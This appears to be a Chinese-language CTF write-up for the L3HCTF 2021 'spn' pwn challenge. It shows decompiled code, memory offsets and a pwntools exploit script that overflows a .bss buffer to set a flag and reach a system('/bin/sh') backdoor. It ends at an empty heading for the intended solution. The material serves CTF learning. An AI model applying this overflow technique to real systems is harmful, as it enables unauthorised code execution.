spn
修改链接
使用patchelf
修改一下libc
和ld
的链接;
$ ldd SPN_ENC linux-vdso.so.1 => (0x00007ffe1bb7d000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f7c39adc000) /lib64/ld-linux-x86-64.so.2 (0x00007f7c3a0ac000) $ patchelf --replace-needed libc.so.6 /home/klose/ctf/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so ./SPN_ENC $ patchelf --set-interpreter /lib64/2.27-ld-64.so ./SPN_ENC $ ldd SPN_ENC linux-vdso.so.1 => (0x00007fffbcd2a000) /home/klose/ctf/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so (0x00007f9c3515f000) /lib64/2.27-ld-64.so => /lib64/ld-linux-x86-64.so.2 (0x00007f9c35758000)
信息收集
checksec
$ checksec SPN_ENC [*] '/home/klose/ctf/pwn/file/adworld/l3hctf2021/spn/SPN_ENC' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
执行分析
$ ./SPN_ENC I can encrypt your text by using SPN! gift:0x5610096fb0e0 Nr is 4,good luck! 1.malloc 2.edit 3.free 4.show 5.backdoor 0.exit
IDA
main
int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { int INDEX; int choice; int idx; unsigned int size[7 ]; *(_QWORD *)&size[1 ] = __readfsqword(0x28 u); setvbuf(stdin , 0LL , 2 , 0LL ); setvbuf(stdout , 0LL , 2 , 0LL ); setvbuf(stderr , 0LL , 2 , 0LL ); choice = 0 ; idx = 0 ; size[0 ] = 0 ; puts ("I can encrypt your text by using SPN!" ); printf ("gift:%p\n" , &shell); puts ("Nr is 4,good luck!" ); while ( 1 ) { while ( 1 ) { menu(); __isoc99_scanf("%d" , &choice); if ( choice == 1 ) { puts ("Size:" ); __isoc99_scanf("%u" , size); puts ("Index:" ); __isoc99_scanf("%u" , &idx); INDEX = idx; ptrs[INDEX] = malloc (size[0 ]); if ( !ptrs[idx] ) { puts ("Malloc Error!" ); exit (0 ); } sizes[idx] = size[0 ]; puts ("OK!" ); } if ( choice == 2 ) break ; LABEL_13: if ( choice != 3 ) goto LABEL_17; puts ("Index:" ); __isoc99_scanf("%u" , &idx); if ( ptrs[idx] ) { free (ptrs[idx]); ptrs[idx] = 0LL ; LABEL_17: if ( choice != 4 ) goto LABEL_21; puts ("Index:" ); __isoc99_scanf("%u" , &idx); if ( ptrs[idx] ) { puts ((const char *)ptrs[idx]); LABEL_21: if ( choice == 5 ) backdoor(); if ( !choice ) { puts ("Bye" ); exit (0 ); } } else { puts ("Bad Index!" ); } } else { puts ("Bad Index!" ); } } puts ("Index:" ); __isoc99_scanf("%u" , &idx); if ( ptrs[idx] ) { puts ("Size" ); __isoc99_scanf("%u" , size); if ( size[0 ] <= (unsigned __int64)(sizes[idx] + 100LL ) ) { puts ("Content" ); memset (TEMPBUF1, 0 , 0x1000 uLL); read(0 , TEMPBUF1, size[0 ]); SPN(size[0 ]); memcpy (ptrs[idx], TEMPBUF2, size[0 ]); puts ("OK!" ); goto LABEL_13; } puts ("TOO LARGE!" ); } else { puts ("Bad Index!" ); } } }
SPN
_BYTE *__fastcall SPN (int size[0 ]) { _BYTE *result; unsigned __int16 v2; unsigned __int16 v3; __int16 v4; unsigned __int16 v5; __int16 v6; unsigned __int16 v7; __int16 v8; __int16 v9; char v10; int v11; unsigned __int16 v12; __int16 v13; __int16 v14; __int16 v15; __int16 v16; __int16 v17; v11 = size[0 ]; v13 = WORD1(key); v14 = (unsigned __int64)key >> 12 ; v15 = (unsigned int )key >> 8 ; v16 = (unsigned __int64)key >> 4 ; result = (_BYTE *)key; v17 = key; v12 = 0 ; while ( v11 ) { v2 = TEMPBUF1[v12] + (TEMPBUF1[v12 + 1 ] << 8 ); printf ("w:%x\n" , v2); v3 = S_Substitution((unsigned __int16)(v2 ^ v13)); v4 = P_Substitution(v3); v5 = S_Substitution((unsigned __int16)(v4 ^ v14)); v6 = P_Substitution(v5); v7 = S_Substitution((unsigned __int16)(v6 ^ v15)); v8 = P_Substitution(v7); v9 = S_Substitution((unsigned __int16)(v8 ^ v16)); TEMPBUF2[v12] = v9 ^ v17; v10 = (unsigned __int16)(v9 ^ v17) >> 8 ; result = TEMPBUF2; TEMPBUF2[v12 + 1 ] = v10; v12 += 2 ; v11 -= 2 ; } return result; }
S_Substitution
__int64 __fastcall S_Substitution (int a1) { signed int i; unsigned __int16 v3; v3 = 0 ; for ( i = 0 ; i <= 15 ; i += 4 ) v3 |= SBox[(a1 & (unsigned int )(15 << i)) >> i] << i; return v3; }
P_Substitution
__int64 __fastcall P_Substitution (int a1) { signed int i; unsigned __int16 v3; v3 = 0 ; for ( i = 0 ; i <= 15 ; ++i ) { if ( a1 & (0x8000 u >> (PBox[i] - 1 )) ) v3 |= masks[i]; } return v3; }
backdoor
int backdoor () { if ( !shell ) return puts ("Dont you want to be a BIG SHOT?" ); puts ("Now is your chance to be a BIG SHOT" ); return system("/bin/sh" ); }
.bss layout
.bss:00000000002020E0 public TEMPBUF1 .bss:00000000002020E0 ; char TEMPBUF1[4096] .bss:00000000002020E0 TEMPBUF1 db 1000h dup(?) ; DATA XREF: SPN+82↑o .bss:00000000002020E0 ; SPN+9B↑o ... .bss:00000000002030E0 public TEMPBUF2 .bss:00000000002030E0 ; _BYTE TEMPBUF2[4096] .bss:00000000002030E0 TEMPBUF2 db 1000h dup(?) ; DATA XREF: SPN+17A↑o .bss:00000000002030E0 ; SPN+19A↑o ... .bss:00000000002040E0 public shell .bss:00000000002040E0 shell dq ? ; DATA XREF: backdoor+4↑r .bss:00000000002040E0 ; main+93↑o .bss:00000000002040E8 align 20h .bss:0000000000204100 public ptrs .bss:0000000000204100 ; void *ptrs[256] .bss:0000000000204100 ptrs dq 100h dup(?) ; DATA XREF: main+14A↑o .bss:0000000000204100 ; main+162↑o ... .bss:0000000000204900 public sizes .bss:0000000000204900 ; _QWORD sizes[256] .bss:0000000000204900 sizes dq 100h dup(?) ; DATA XREF: main+19A↑o .bss:0000000000204900 ; main+245↑o .bss:0000000000204900 _bss ends
漏洞利用
如果要利用backdoor
函数来getshell,需要修改shell
的值,在main函数中给出了shell
的地址;
非预期解:直接溢出
可以观察到,shell
在.bss
段的位置在TEMPBUF1
和TEMPBUF2
之下,根据对TEMPBUF2
和shell
的偏移0x1000
,TEMPBUF1
和shell
的偏移0x2000
;
pwndbg> telescope 0x5555557580e0 00:0000│ 0x5555557580e0 (shell) ◂— 0xde0fde0f 01:0008│ 0x5555557580e8 ◂— 0x0 ... ↓ 04:0020│ 0x555555758100 (ptrs) —▸ 0x55555575c260 ◂— 0x3607360736073607 05:0028│ 0x555555758108 (ptrs+8) ◂— 0x0 ... ↓ pwndbg> telescope 0x5555557570e0 00:0000│ 0x5555557570e0 (TEMPBUF2) ◂— 0x3607360736073607 01:0008│ 0x5555557570e8 (TEMPBUF2+8) ◂— 0x9278927892789fce 02:0010│ 0x5555557570f0 (TEMPBUF2+16) ◂— 0x9278927892789278 ... ↓ pwndbg> telescope 0x5555557560e0 00:0000│ 0x5555557560e0 (TEMPBUF1) ◂— 'aaaaaaaa\n' 01:0008│ 0x5555557560e8 (TEMPBUF1+8) ◂— 0xa /* '\n' */ 02:0010│ 0x5555557560f0 (TEMPBUF1+16) ◂— 0x0 pwndbg> distance 0x5555557570e0 0x5555557580e0 0x5555557570e0->0x5555557580e0 is 0x1000 bytes (0x200 words) pwndbg> distance 0x5555557560e0 0x5555557580e0 0x5555557560e0->0x5555557580e0 is 0x2000 bytes (0x400 words)
根据SPN
函数的操作:
v8 = 0 ; while ( a1 ) { TEMPBUF2[v8] = v15 ^ v13; result = TEMPBUF2; TEMPBUF2[v8 + 1 ] = (unsigned __int16)(v15 ^ v13) >> 8 ; v8 += 2 ; a1 -= 2 ; }
TEMPBUF2
每次循环后增加两字节,并且循环edit_size/2
次,其实就是增加了edit_size
个字节,如果这个edit_size
足够大,那么就有可能覆盖掉shell
;
from pwn import *context.log_level = 'debug' p = process('./SPN_ENC' ) def recvinfo (): p.recvuntil('SPN!\n' ) shell_addr = int (p.recvuntil('\n' , drop=True )[7 :20 ], 16 ) log.success("shell_addr => " + hex (shell_addr)) def malloc (size, index ): p.sendline("1" ) p.recvuntil("Size:\n" ) p.sendline(str (size)) p.recvuntil("Index:\n" ) p.sendline(str (index)) def edit (index, size, content ): p.sendline("2" ) p.recvuntil("Index:\n" ) p.sendline(str (index)) p.recvuntil("Size\n" ) p.sendline(str (size)) p.recvuntil("Content\n" ) p.sendline(content) def pwn (): p.recvuntil("exit\n" ) p.sendline("5" ) p.interactive() if __name__ == "__main__" : recvinfo() malloc(4100 , 0 ) edit(0 , 4100 , 'aaaa' ) pwn()
预期解:解密+溢出改shell地址